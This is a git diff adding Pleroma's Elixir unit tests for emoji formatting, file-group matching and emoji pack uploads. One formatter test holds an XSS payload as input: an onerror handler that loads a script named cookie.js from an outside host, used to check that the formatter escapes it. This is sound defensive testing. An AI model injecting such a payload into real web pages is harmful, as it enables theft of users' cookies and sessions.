summaryrefslogtreecommitdiff
path: root/test/pleroma/emoji
diff options
context:
space:
mode:
Diffstat (limited to 'test/pleroma/emoji')
-rw-r--r--test/pleroma/emoji/formatter_test.exs49
-rw-r--r--test/pleroma/emoji/loader_test.exs83
-rw-r--r--test/pleroma/emoji/pack_test.exs93
3 files changed, 225 insertions, 0 deletions
diff --git a/test/pleroma/emoji/formatter_test.exs b/test/pleroma/emoji/formatter_test.exs
new file mode 100644
index 000000000..12af6cd8b
--- /dev/null
+++ b/test/pleroma/emoji/formatter_test.exs
@@ -0,0 +1,49 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.FormatterTest do
+ alias Pleroma.Emoji.Formatter
+ use Pleroma.DataCase
+
+ describe "emojify" do
+ test "it adds cool emoji" do
+ text = "I love :firefox:"
+
+ expected_result =
+ "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
+
+ assert Formatter.emojify(text) == expected_result
+ end
+
+ test "it does not add XSS emoji" do
+ text =
+ "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+ custom_emoji =
+ {
+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
+ "https://placehold.it/1x1"
+ }
+ |> Pleroma.Emoji.build()
+
+ refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
+ end
+ end
+
+ describe "get_emoji_map" do
+ test "it returns the emoji used in the text" do
+ assert Formatter.get_emoji_map("I love :firefox:") == %{
+ "firefox" => "http://localhost:4001/emoji/Firefox.gif"
+ }
+ end
+
+ test "it returns a nice empty result when no emojis are present" do
+ assert Formatter.get_emoji_map("I love moominamma") == %{}
+ end
+
+ test "it doesn't die when text is absent" do
+ assert Formatter.get_emoji_map(nil) == %{}
+ end
+ end
+end
diff --git a/test/pleroma/emoji/loader_test.exs b/test/pleroma/emoji/loader_test.exs
new file mode 100644
index 000000000..804039e7e
--- /dev/null
+++ b/test/pleroma/emoji/loader_test.exs
@@ -0,0 +1,83 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.LoaderTest do
+ use ExUnit.Case, async: true
+ alias Pleroma.Emoji.Loader
+
+ describe "match_extra/2" do
+ setup do
+ groups = [
+ "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
+ "wildcard folder": "/emoji/custom/*/file.png",
+ "wildcard files": "/emoji/custom/folder/*.png",
+ "special file": "/emoji/custom/special.png"
+ ]
+
+ {:ok, groups: groups}
+ end
+
+ test "config for list of files", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/first_file.png")
+ |> to_string()
+
+ assert group == "list of files"
+ end
+
+ test "config with wildcard folder", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/some_folder/file.png")
+ |> to_string()
+
+ assert group == "wildcard folder"
+ end
+
+ test "config with wildcard folder and subfolders", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png")
+ |> to_string()
+
+ assert group == "wildcard folder"
+ end
+
+ test "config with wildcard files", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/folder/some_file.png")
+ |> to_string()
+
+ assert group == "wildcard files"
+ end
+
+ test "config with wildcard files and subfolders", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png")
+ |> to_string()
+
+ assert group == "wildcard files"
+ end
+
+ test "config for special file", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/special.png")
+ |> to_string()
+
+ assert group == "special file"
+ end
+
+ test "no mathing returns nil", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/some_undefined.png")
+
+ refute group
+ end
+ end
+end
diff --git a/test/pleroma/emoji/pack_test.exs b/test/pleroma/emoji/pack_test.exs
new file mode 100644
index 000000000..70d1eaa1b
--- /dev/null
+++ b/test/pleroma/emoji/pack_test.exs
@@ -0,0 +1,93 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.PackTest do
+ use ExUnit.Case, async: true
+ alias Pleroma.Emoji.Pack
+
+ @emoji_path Path.join(
+ Pleroma.Config.get!([:instance, :static_dir]),
+ "emoji"
+ )
+
+ setup do
+ pack_path = Path.join(@emoji_path, "dump_pack")
+ File.mkdir(pack_path)
+
+ File.write!(Path.join(pack_path, "pack.json"), """
+ {
+ "files": { },
+ "pack": {
+ "description": "Dump pack", "homepage": "https://pleroma.social",
+ "license": "Test license", "share-files": true
+ }}
+ """)
+
+ {:ok, pack} = Pleroma.Emoji.Pack.load_pack("dump_pack")
+
+ on_exit(fn ->
+ File.rm_rf!(pack_path)
+ end)
+
+ {:ok, pack: pack}
+ end
+
+ describe "add_file/4" do
+ test "add emojies from zip file", %{pack: pack} do
+ file = %Plug.Upload{
+ content_type: "application/zip",
+ filename: "emojis.zip",
+ path: Path.absname("test/fixtures/emojis.zip")
+ }
+
+ {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file)
+
+ assert updated_pack.files == %{
+ "a_trusted_friend-128" => "128px/a_trusted_friend-128.png",
+ "auroraborealis" => "auroraborealis.png",
+ "baby_in_a_box" => "1000px/baby_in_a_box.png",
+ "bear" => "1000px/bear.png",
+ "bear-128" => "128px/bear-128.png"
+ }
+
+ assert updated_pack.files_count == 5
+ end
+ end
+
+ test "returns error when zip file is bad", %{pack: pack} do
+ file = %Plug.Upload{
+ content_type: "application/zip",
+ filename: "emojis.zip",
+ path: Path.absname("test/instance_static/emoji/test_pack/blank.png")
+ }
+
+ assert Pack.add_file(pack, nil, nil, file) == {:error, :einval}
+ end
+
+ test "returns pack when zip file is empty", %{pack: pack} do
+ file = %Plug.Upload{
+ content_type: "application/zip",
+ filename: "emojis.zip",
+ path: Path.absname("test/fixtures/empty.zip")
+ }
+
+ {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file)
+ assert updated_pack == pack
+ end
+
+ test "add emoji file", %{pack: pack} do
+ file = %Plug.Upload{
+ filename: "blank.png",
+ path: "#{@emoji_path}/test_pack/blank.png"
+ }
+
+ {:ok, updated_pack} = Pack.add_file(pack, "test_blank", "test_blank.png", file)
+
+ assert updated_pack.files == %{
+ "test_blank" => "test_blank.png"
+ }
+
+ assert updated_pack.files_count == 1
+ end
+end